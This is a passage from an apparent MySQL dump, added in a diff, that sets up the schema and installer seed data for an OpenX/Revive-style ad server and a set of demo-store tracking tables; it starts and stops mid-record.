(1,1,1,'5890502497057826'),(2,2,1,'6449377887088520'),(3,3,1,'8089326451339674'),(4,4,1,'7644794244489658'),(5,9,1,'6594500331683041'),(6,10,1,'4293327407220900'),(7,13,2,'3957353166949466'),(8,14,2,'8678892570671441'),(9,15,2,'1768872100307923'),(10,16,2,'1264893761278606'),(11,17,2,'7202414934944842'),(12,18,2,'9178334178556573'),(13,19,5,'5173435362122807'),(15,20,5,'1141069340355684'),(16,21,5,'9836573923177230'),(17,22,5,'3292700527298696'),(18,23,5,'1683077966133852'),(19,24,5,'1455042828759668'),(20,25,6,'8326918373014243'),(21,26,6,'1500189875939495'),(22,29,6,'9239631984143199'),(23,30,6,'9153523920322832'),(24,31,6,'3610642005167885'),(25,32,6,'6965888389535971'); +/*!40000 ALTER TABLE `bt_TrackInventory` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `bt_WebSite` +-- + +DROP TABLE IF EXISTS `bt_WebSite`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `bt_WebSite` ( + `SiteID` int(11) NOT NULL AUTO_INCREMENT, + `SiteURL` varchar(200) NOT NULL, + `SiteDescription` varchar(200) NOT NULL, + PRIMARY KEY (`SiteID`) +) ENGINE=InnoDB AUTO_INCREMENT=7 DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `bt_WebSite` +-- + +LOCK TABLES `bt_WebSite` WRITE; +/*!40000 ALTER TABLE `bt_WebSite` DISABLE KEYS */; +INSERT INTO `bt_WebSite` VALUES (1,'http://www.wtcamerastore.com/','One stop store for all Cameras'),(2,'http://www.wtshoestore.com/','One stop store for all Shoes'),(5,'http://www.wtelectronicstore.com/','One stop for all Electronics'),(6,'http://www.wtmobilestore.com/','One stop for all mobiles'); +/*!40000 ALTER TABLE `bt_WebSite` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_account_preference_assoc` +-- + +DROP TABLE IF EXISTS `rv_account_preference_assoc`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_account_preference_assoc` ( + `account_id` mediumint(9) NOT NULL, + `preference_id` mediumint(9) NOT NULL, + `value` text NOT NULL, + PRIMARY KEY (`account_id`,`preference_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_account_preference_assoc` +-- + +LOCK TABLES `rv_account_preference_assoc` WRITE; +/*!40000 ALTER TABLE `rv_account_preference_assoc` DISABLE KEYS */; +INSERT INTO `rv_account_preference_assoc` VALUES (1,1,''),(1,2,''),(1,3,'1'),(1,4,'1'),(1,5,'1'),(1,6,'100'),(1,7,'1'),(1,8,''),(1,9,''),(1,10,'1'),(1,11,'100'),(1,12,'1'),(1,13,'1'),(1,14,'100'),(1,15,'1'),(1,16,'America/New_York'),(1,17,'4'),(1,18,'1'),(1,19,''),(1,20,'1'),(1,21,'1'),(1,22,''),(1,23,''),(1,24,'1'),(1,25,''),(1,26,'1'),(1,27,''),(1,28,''),(1,29,'1'),(1,30,'1'),(1,31,'2'),(1,32,'1'),(1,33,''),(1,34,'4'),(1,35,''),(1,36,''),(1,37,'0'),(1,38,''),(1,39,''),(1,40,'0'),(1,41,''),(1,42,''),(1,43,'0'),(1,44,''),(1,45,''),(1,46,'0'),(1,47,''),(1,48,''),(1,49,'0'),(1,50,''),(1,51,''),(1,52,'0'),(1,53,''),(1,54,''),(1,55,'0'),(1,56,''),(1,57,''),(1,58,'0'),(1,59,''),(1,60,''),(1,61,'0'),(1,62,'1'),(1,63,''),(1,64,'5'),(1,65,''),(1,66,''),(1,67,'0'),(1,68,''),(1,69,''),(1,70,'0'),(1,71,''),(1,72,''),(1,73,'0'),(1,74,''),(1,75,''),(1,76,'0'),(1,77,'1'),(1,78,''),(1,79,'1'),(1,80,'1'),(1,81,''),(1,82,'2'),(1,83,'1'),(1,84,''),(1,85,'3'),(1,86,''),(1,87,''),(1,88,'0'),(1,89,''),(1,90,''),(1,91,'0'),(1,92,''),(1,93,''),(1,94,'0'),(1,95,''),(1,96,''),(1,97,'0'); +/*!40000 ALTER TABLE `rv_account_preference_assoc` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_account_user_assoc` +-- + +DROP TABLE IF EXISTS `rv_account_user_assoc`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_account_user_assoc` ( + `account_id` mediumint(9) NOT NULL, + `user_id` mediumint(9) NOT NULL, + `linked` datetime NOT NULL, + PRIMARY KEY (`account_id`,`user_id`), + KEY `rv_account_user_assoc_user_id` (`user_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_account_user_assoc` +-- + +LOCK TABLES `rv_account_user_assoc` WRITE; +/*!40000 ALTER TABLE `rv_account_user_assoc` DISABLE KEYS */; +INSERT INTO `rv_account_user_assoc` VALUES (1,1,'2014-09-17 00:27:08'),(2,1,'2014-09-17 00:27:08'); +/*!40000 ALTER TABLE `rv_account_user_assoc` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_account_user_permission_assoc` +-- + +DROP TABLE IF EXISTS `rv_account_user_permission_assoc`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_account_user_permission_assoc` ( + `account_id` mediumint(9) NOT NULL, + `user_id` mediumint(9) NOT NULL, + `permission_id` mediumint(9) NOT NULL, + `is_allowed` tinyint(1) NOT NULL DEFAULT '1', + PRIMARY KEY (`account_id`,`user_id`,`permission_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_account_user_permission_assoc` +-- + +LOCK TABLES `rv_account_user_permission_assoc` WRITE; +/*!40000 ALTER TABLE `rv_account_user_permission_assoc` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_account_user_permission_assoc` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_accounts` +-- + +DROP TABLE IF EXISTS `rv_accounts`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_accounts` ( + `account_id` mediumint(9) NOT NULL AUTO_INCREMENT, + `account_type` varchar(16) NOT NULL DEFAULT '', + `account_name` varchar(255) DEFAULT NULL, + `m2m_password` varchar(32) DEFAULT NULL, + `m2m_ticket` varchar(32) DEFAULT NULL, + PRIMARY KEY (`account_id`), + KEY `rv_accounts_account_type` (`account_type`) +) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_accounts` +-- + +LOCK TABLES `rv_accounts` WRITE; +/*!40000 ALTER TABLE `rv_accounts` DISABLE KEYS */; +INSERT INTO `rv_accounts` VALUES (1,'ADMIN','Administrator account',NULL,NULL),(2,'MANAGER','Default manager',NULL,NULL),(3,'ADVERTISER','Webtracking',NULL,NULL); +/*!40000 ALTER TABLE `rv_accounts` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_acls` +-- + +DROP TABLE IF EXISTS `rv_acls`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_acls` ( + `bannerid` mediumint(9) NOT NULL DEFAULT '0', + `logical` varchar(3) NOT NULL DEFAULT 'and', + `type` varchar(255) NOT NULL DEFAULT '', + `comparison` char(2) NOT NULL DEFAULT '==', + `data` text NOT NULL, + `executionorder` int(10) unsigned NOT NULL DEFAULT '0', + UNIQUE KEY `rv_acls_bannerid_executionorder` (`bannerid`,`executionorder`), + KEY `rv_acls_bannerid` (`bannerid`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_acls` +-- + +LOCK TABLES `rv_acls` WRITE; +/*!40000 ALTER TABLE `rv_acls` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_acls` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_acls_channel` +-- + +DROP TABLE IF EXISTS `rv_acls_channel`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_acls_channel` ( + `channelid` mediumint(9) NOT NULL DEFAULT '0', + `logical` varchar(3) NOT NULL DEFAULT 'and', + `type` varchar(255) NOT NULL DEFAULT '', + `comparison` char(2) NOT NULL DEFAULT '==', + `data` text NOT NULL, + `executionorder` int(10) unsigned NOT NULL DEFAULT '0', + UNIQUE KEY `rv_acls_channel_channelid_executionorder` (`channelid`,`executionorder`), + KEY `rv_acls_channel_channelid` (`channelid`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_acls_channel` +-- + +LOCK TABLES `rv_acls_channel` WRITE; +/*!40000 ALTER TABLE `rv_acls_channel` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_acls_channel` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_ad_category_assoc` +-- + +DROP TABLE IF EXISTS `rv_ad_category_assoc`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_ad_category_assoc` ( + `ad_category_assoc_id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `category_id` int(10) unsigned NOT NULL, + `ad_id` int(10) unsigned NOT NULL, + PRIMARY KEY (`ad_category_assoc_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_ad_category_assoc` +-- + +LOCK TABLES `rv_ad_category_assoc` WRITE; +/*!40000 ALTER TABLE `rv_ad_category_assoc` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_ad_category_assoc` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_ad_zone_assoc` +-- + +DROP TABLE IF EXISTS `rv_ad_zone_assoc`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_ad_zone_assoc` ( + `ad_zone_assoc_id` mediumint(9) NOT NULL AUTO_INCREMENT, + `zone_id` mediumint(9) DEFAULT NULL, + `ad_id` mediumint(9) DEFAULT NULL, + `priority` double DEFAULT '0', + `link_type` smallint(6) NOT NULL DEFAULT '1', + `priority_factor` double DEFAULT '0', + `to_be_delivered` tinyint(1) NOT NULL DEFAULT '1', + PRIMARY KEY (`ad_zone_assoc_id`), + KEY `rv_ad_zone_assoc_zone_id` (`zone_id`), + KEY `rv_ad_zone_assoc_ad_id` (`ad_id`) +) ENGINE=MyISAM AUTO_INCREMENT=28 DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_ad_zone_assoc` +-- + +LOCK TABLES `rv_ad_zone_assoc` WRITE; +/*!40000 ALTER TABLE `rv_ad_zone_assoc` DISABLE KEYS */; +INSERT INTO `rv_ad_zone_assoc` VALUES (1,0,1,0,0,1,1),(2,0,2,0,0,1,1),(3,0,3,0,0,1,1),(4,0,4,0,0,1,1),(5,0,5,0,0,1,1),(6,0,6,0,0,1,1),(7,0,7,0,0,1,1),(8,0,8,0,0,1,1),(9,0,9,0,0,1,1),(10,0,10,0,0,1,1),(11,0,11,0,0,1,1),(12,0,12,0,0,1,1),(13,0,13,0,0,1,1),(14,0,14,0,0,1,1),(15,0,15,0,0,1,1),(16,0,16,0,0,1,1),(17,0,17,0,0,1,1),(18,0,18,0,0,1,1),(19,0,19,0,0,1,1),(20,0,20,0,0,1,1),(21,0,21,0,0,1,1),(22,0,22,0,0,1,1),(23,0,23,0,0,1,1),(24,0,24,0,0,1,1),(25,0,25,0,0,1,1),(26,0,26,0,0,1,1),(27,0,27,0,0,1,1); +/*!40000 ALTER TABLE `rv_ad_zone_assoc` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_affiliates` +-- + +DROP TABLE IF EXISTS `rv_affiliates`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_affiliates` ( + `affiliateid` mediumint(9) NOT NULL AUTO_INCREMENT, + `agencyid` mediumint(9) NOT NULL DEFAULT '0', + `name` varchar(255) NOT NULL DEFAULT '', + `mnemonic` varchar(5) NOT NULL DEFAULT '', + `comments` text, + `contact` varchar(255) DEFAULT NULL, + `email` varchar(64) NOT NULL DEFAULT '', + `website` varchar(255) DEFAULT NULL, + `updated` datetime NOT NULL, + `an_website_id` int(11) DEFAULT NULL, + `oac_country_code` char(2) NOT NULL DEFAULT '', + `oac_language_id` int(11) DEFAULT NULL, + `oac_category_id` int(11) DEFAULT NULL, + `as_website_id` int(11) DEFAULT NULL, + `account_id` mediumint(9) DEFAULT NULL, + PRIMARY KEY (`affiliateid`), + UNIQUE KEY `rv_affiliates_account_id` (`account_id`), + KEY `rv_affiliates_agencyid` (`agencyid`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_affiliates` +-- + +LOCK TABLES `rv_affiliates` WRITE; +/*!40000 ALTER TABLE `rv_affiliates` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_affiliates` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_affiliates_extra` +-- + +DROP TABLE IF EXISTS `rv_affiliates_extra`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_affiliates_extra` ( + `affiliateid` mediumint(9) NOT NULL, + `address` text, + `city` varchar(255) DEFAULT NULL, + `postcode` varchar(64) DEFAULT NULL, + `country` varchar(255) DEFAULT NULL, + `phone` varchar(64) DEFAULT NULL, + `fax` varchar(64) DEFAULT NULL, + `account_contact` varchar(255) DEFAULT NULL, + `payee_name` varchar(255) DEFAULT NULL, + `tax_id` varchar(64) DEFAULT NULL, + `mode_of_payment` varchar(64) DEFAULT NULL, + `currency` varchar(64) DEFAULT NULL, + `unique_users` int(11) DEFAULT NULL, + `unique_views` int(11) DEFAULT NULL, + `page_rank` int(11) DEFAULT NULL, + `category` varchar(255) DEFAULT NULL, + `help_file` varchar(255) DEFAULT NULL, + PRIMARY KEY (`affiliateid`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_affiliates_extra` +-- + +LOCK TABLES `rv_affiliates_extra` WRITE; +/*!40000 ALTER TABLE `rv_affiliates_extra` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_affiliates_extra` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_agency` +-- + +DROP TABLE IF EXISTS `rv_agency`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_agency` ( + `agencyid` mediumint(9) NOT NULL AUTO_INCREMENT, + `name` varchar(255) NOT NULL DEFAULT '', + `contact` varchar(255) DEFAULT NULL, + `email` varchar(64) NOT NULL DEFAULT '', + `logout_url` varchar(255) DEFAULT NULL, + `active` smallint(1) DEFAULT '0', + `updated` datetime NOT NULL, + `account_id` mediumint(9) DEFAULT NULL, + PRIMARY KEY (`agencyid`), + UNIQUE KEY `rv_agency_account_id` (`account_id`) +) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_agency` +-- + +LOCK TABLES `rv_agency` WRITE; +/*!40000 ALTER TABLE `rv_agency` DISABLE KEYS */; +INSERT INTO `rv_agency` VALUES (1,'Default manager',NULL,'info@wtadlab.com',NULL,1,'2014-09-17 07:27:07',2); +/*!40000 ALTER TABLE `rv_agency` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_application_variable` +-- + +DROP TABLE IF EXISTS `rv_application_variable`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_application_variable` ( + `name` varchar(255) NOT NULL DEFAULT '', + `value` text NOT NULL, + PRIMARY KEY (`name`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_application_variable` +-- + +LOCK TABLES `rv_application_variable` WRITE; +/*!40000 ALTER TABLE `rv_application_variable` DISABLE KEYS */; +INSERT INTO `rv_application_variable` VALUES ('tables_core','613'),('oa_version','3.0.5'),('admin_account_id','1'),('oxHtml_version','1.2.1'),('oxText_version','1.2.1'),('Client_version','1.2.1'),('Geo_version','1.2.1'),('Site_version','1.2.1'),('Time_version','1.2.1'),('ox3rdPartyServers_version','1.1.0'),('oxReportsStandard_version','1.5.1'),('oxReportsAdmin_version','1.5.1'),('oxCacheFile_version','1.1.1'),('oxMemcached_version','1.1.1'),('oxMaxMindGeoIP_version','1.2.2'),('oxInvocationTags_version','1.2.1'),('tables_oxDeliveryDataPrepare','002'),('oxDeliveryDataPrepare_version','1.1.1'),('oxLogClick_version','1.1.1'),('oxLogConversion_version','1.1.1'),('oxLogImpression_version','1.1.1'),('oxLogRequest_version','1.1.1'),('tables_vastbannertypehtml','013'),('vastInlineBannerTypeHtml_version','1.10.2'),('vastOverlayBannerTypeHtml_version','1.10.2'),('oxLogVast_version','1.10.2'),('vastServeVideoPlayer_version','1.10.2'),('videoReport_version','1.10.2'); +/*!40000 ALTER TABLE `rv_application_variable` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_audit` +-- + +DROP TABLE IF EXISTS `rv_audit`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_audit` ( + `auditid` mediumint(9) NOT NULL AUTO_INCREMENT, + `actionid` mediumint(9) NOT NULL, + `context` varchar(255) NOT NULL DEFAULT '', + `contextid` mediumint(9) DEFAULT NULL, + `parentid` mediumint(9) DEFAULT NULL, + `details` text NOT NULL, + `userid` mediumint(9) NOT NULL DEFAULT '0', + `username` varchar(64) DEFAULT NULL, + `usertype` tinyint(4) NOT NULL DEFAULT '0', + `updated` datetime DEFAULT NULL, + `account_id` mediumint(9) NOT NULL, + `advertiser_account_id` mediumint(9) DEFAULT NULL, + `website_account_id` mediumint(9) DEFAULT NULL, + PRIMARY KEY (`auditid`), + KEY `rv_audit_parentid_contextid` (`parentid`,`contextid`), + KEY `rv_audit_updated` (`updated`), + KEY `rv_audit_usertype` (`usertype`), + KEY `rv_audit_username` (`username`), + KEY `rv_audit_context_actionid` (`context`,`actionid`), + KEY `rv_audit_account_id` (`account_id`), + KEY `rv_audit_advertiser_account_id` (`advertiser_account_id`), + KEY `rv_audit_website_account_id` (`website_account_id`) +) ENGINE=MyISAM AUTO_INCREMENT=259 DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_audit` +-- + +LOCK TABLES `rv_audit` WRITE; +/*!40000 ALTER TABLE `rv_audit` DISABLE KEYS */; +INSERT INTO `rv_audit` VALUES (1,1,'accounts',1,NULL,'a:4:{s:10:\"account_id\";i:1;s:12:\"account_type\";s:5:\"ADMIN\";s:12:\"account_name\";s:21:\"Administrator account\";s:8:\"key_desc\";s:21:\"Administrator account\";}',0,'Installer',0,'2014-09-17 07:27:07',1,NULL,NULL),(2,1,'accounts',2,NULL,'a:4:{s:10:\"account_id\";i:2;s:12:\"account_type\";s:7:\"MANAGER\";s:12:\"account_name\";s:15:\"Default manager\";s:8:\"key_desc\";s:15:\"Default manager\";}',0,'Installer',0,'2014-09-17 07:27:07',2,NULL,NULL),(3,1,'agency',1,NULL,'a:9:{s:8:\"agencyid\";i:1;s:4:\"name\";s:15:\"Default manager\";s:7:\"contact\";s:4:\"null\";s:5:\"email\";s:16:\"info@wtadlab.com\";s:10:\"logout_url\";s:4:\"null\";s:6:\"active\";i:1;s:7:\"updated\";s:19:\"2014-09-17 07:27:07\";s:10:\"account_id\";i:2;s:8:\"key_desc\";s:15:\"Default manager\";}',0,'Installer',0,'2014-09-17 07:27:07',2,NULL,NULL),(4,1,'users',1,NULL,'a:14:{s:7:\"user_id\";i:1;s:12:\"contact_name\";s:13:\"Administrator\";s:13:\"email_address\";s:16:\"info@wtadlab.com\";s:8:\"username\";s:5:\"admin\";s:8:\"password\";s:6:\"******\";s:8:\"language\";s:2:\"en\";s:18:\"default_account_id\";i:2;s:8:\"comments\";s:4:\"null\";s:6:\"active\";s:4:\"null\";s:11:\"sso_user_id\";i:0;s:12:\"date_created\";s:19:\"2014-09-17 00:27:07\";s:15:\"date_last_login\";s:4:\"null\";s:13:\"email_updated\";s:19:\"2014-09-17 00:27:07\";s:8:\"key_desc\";s:5:\"admin\";}',0,'Installer',0,'2014-09-17 07:27:08',1,NULL,NULL),(5,1,'account_user_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:7:\"user_id\";i:1;s:6:\"linked\";s:19:\"2014-09-17 00:27:08\";s:8:\"key_desc\";s:21:\"Account #1 -> User #1\";}',0,'Installer',0,'2014-09-17 07:27:08',1,NULL,NULL),(6,1,'account_user_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:2;s:7:\"user_id\";i:1;s:6:\"linked\";s:19:\"2014-09-17 00:27:08\";s:8:\"key_desc\";s:21:\"Account #2 -> User #1\";}',0,'Installer',0,'2014-09-17 07:27:08',2,NULL,NULL),(7,1,'preferences',1,NULL,'a:4:{s:13:\"preference_id\";i:1;s:15:\"preference_name\";s:24:\"default_banner_image_url\";s:12:\"account_type\";s:10:\"TRAFFICKER\";s:8:\"key_desc\";s:24:\"default_banner_image_url\";}',0,'Installer',0,'2014-09-17 07:27:08',1,NULL,NULL),(8,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:1;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:27:\"Account #1 -> Preference #1\";}',0,'Installer',0,'2014-09-17 07:27:08',1,NULL,NULL),(9,1,'preferences',2,NULL,'a:4:{s:13:\"preference_id\";i:2;s:15:\"preference_name\";s:30:\"default_banner_destination_url\";s:12:\"account_type\";s:10:\"TRAFFICKER\";s:8:\"key_desc\";s:30:\"default_banner_destination_url\";}',0,'Installer',0,'2014-09-17 07:27:08',1,NULL,NULL),(10,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:2;s:5:\"value\";s:0:\"\";s:8:\"key_desc\";s:27:\"Account #1 -> Preference #2\";}',0,'Installer',0,'2014-09-17 07:27:08',1,NULL,NULL),(11,1,'preferences',3,NULL,'a:4:{s:13:\"preference_id\";i:3;s:15:\"preference_name\";s:21:\"default_banner_weight\";s:12:\"account_type\";s:10:\"ADVERTISER\";s:8:\"key_desc\";s:21:\"default_banner_weight\";}',0,'Installer',0,'2014-09-17 07:27:08',1,NULL,NULL),(12,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:3;s:5:\"value\";i:1;s:8:\"key_desc\";s:27:\"Account #1 -> Preference #3\";}',0,'Installer',0,'2014-09-17 07:27:08',1,NULL,NULL),(13,1,'preferences',4,NULL,'a:4:{s:13:\"preference_id\";i:4;s:15:\"preference_name\";s:23:\"default_campaign_weight\";s:12:\"account_type\";s:10:\"ADVERTISER\";s:8:\"key_desc\";s:23:\"default_campaign_weight\";}',0,'Installer',0,'2014-09-17 07:27:08',1,NULL,NULL),(14,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:4;s:5:\"value\";i:1;s:8:\"key_desc\";s:27:\"Account #1 -> Preference #4\";}',0,'Installer',0,'2014-09-17 07:27:08',1,NULL,NULL),(15,1,'preferences',5,NULL,'a:4:{s:13:\"preference_id\";i:5;s:15:\"preference_name\";s:16:\"warn_email_admin\";s:12:\"account_type\";s:5:\"ADMIN\";s:8:\"key_desc\";s:16:\"warn_email_admin\";}',0,'Installer',0,'2014-09-17 07:27:08',1,NULL,NULL),(16,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:5;s:5:\"value\";b:1;s:8:\"key_desc\";s:27:\"Account #1 -> Preference #5\";}',0,'Installer',0,'2014-09-17 07:27:08',1,NULL,NULL),(17,1,'preferences',6,NULL,'a:4:{s:13:\"preference_id\";i:6;s:15:\"preference_name\";s:33:\"warn_email_admin_impression_limit\";s:12:\"account_type\";s:5:\"ADMIN\";s:8:\"key_desc\";s:33:\"warn_email_admin_impression_limit\";}',0,'Installer',0,'2014-09-17 07:27:08',1,NULL,NULL),(18,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:6;s:5:\"value\";i:100;s:8:\"key_desc\";s:27:\"Account #1 -> Preference #6\";}',0,'Installer',0,'2014-09-17 07:27:08',1,NULL,NULL),(19,1,'preferences',7,NULL,'a:4:{s:13:\"preference_id\";i:7;s:15:\"preference_name\";s:26:\"warn_email_admin_day_limit\";s:12:\"account_type\";s:5:\"ADMIN\";s:8:\"key_desc\";s:26:\"warn_email_admin_day_limit\";}',0,'Installer',0,'2014-09-17 07:27:08',1,NULL,NULL),(20,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:7;s:5:\"value\";i:1;s:8:\"key_desc\";s:27:\"Account #1 -> Preference #7\";}',0,'Installer',0,'2014-09-17 07:27:08',1,NULL,NULL),(21,1,'preferences',8,NULL,'a:4:{s:13:\"preference_id\";i:8;s:15:\"preference_name\";s:21:\"campaign_ecpm_enabled\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:21:\"campaign_ecpm_enabled\";}',0,'Installer',0,'2014-09-17 07:27:08',1,NULL,NULL),(22,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:8;s:5:\"value\";b:0;s:8:\"key_desc\";s:27:\"Account #1 -> Preference #8\";}',0,'Installer',0,'2014-09-17 07:27:08',1,NULL,NULL),(23,1,'preferences',9,NULL,'a:4:{s:13:\"preference_id\";i:9;s:15:\"preference_name\";s:21:\"contract_ecpm_enabled\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:21:\"contract_ecpm_enabled\";}',0,'Installer',0,'2014-09-17 07:27:08',1,NULL,NULL),(24,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:9;s:5:\"value\";b:0;s:8:\"key_desc\";s:27:\"Account #1 -> Preference #9\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(25,1,'preferences',10,NULL,'a:4:{s:13:\"preference_id\";i:10;s:15:\"preference_name\";s:18:\"warn_email_manager\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:18:\"warn_email_manager\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(26,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:10;s:5:\"value\";b:1;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #10\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(27,1,'preferences',11,NULL,'a:4:{s:13:\"preference_id\";i:11;s:15:\"preference_name\";s:35:\"warn_email_manager_impression_limit\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:35:\"warn_email_manager_impression_limit\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(28,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:11;s:5:\"value\";i:100;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #11\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(29,1,'preferences',12,NULL,'a:4:{s:13:\"preference_id\";i:12;s:15:\"preference_name\";s:28:\"warn_email_manager_day_limit\";s:12:\"account_type\";s:7:\"MANAGER\";s:8:\"key_desc\";s:28:\"warn_email_manager_day_limit\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(30,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:12;s:5:\"value\";i:1;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #12\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(31,1,'preferences',13,NULL,'a:4:{s:13:\"preference_id\";i:13;s:15:\"preference_name\";s:21:\"warn_email_advertiser\";s:12:\"account_type\";s:10:\"ADVERTISER\";s:8:\"key_desc\";s:21:\"warn_email_advertiser\";}',0,'Installer',0,'2014-09-17 07:27:09',1,NULL,NULL),(32,1,'account_preference_assoc',0,NULL,'a:4:{s:10:\"account_id\";i:1;s:13:\"preference_id\";i:13;s:5:\"value\";b:1;s:8:\"key_desc\";s:28:\"Account #1 -> Preference #13\";}',0,'Installer',0,'2014-09-17 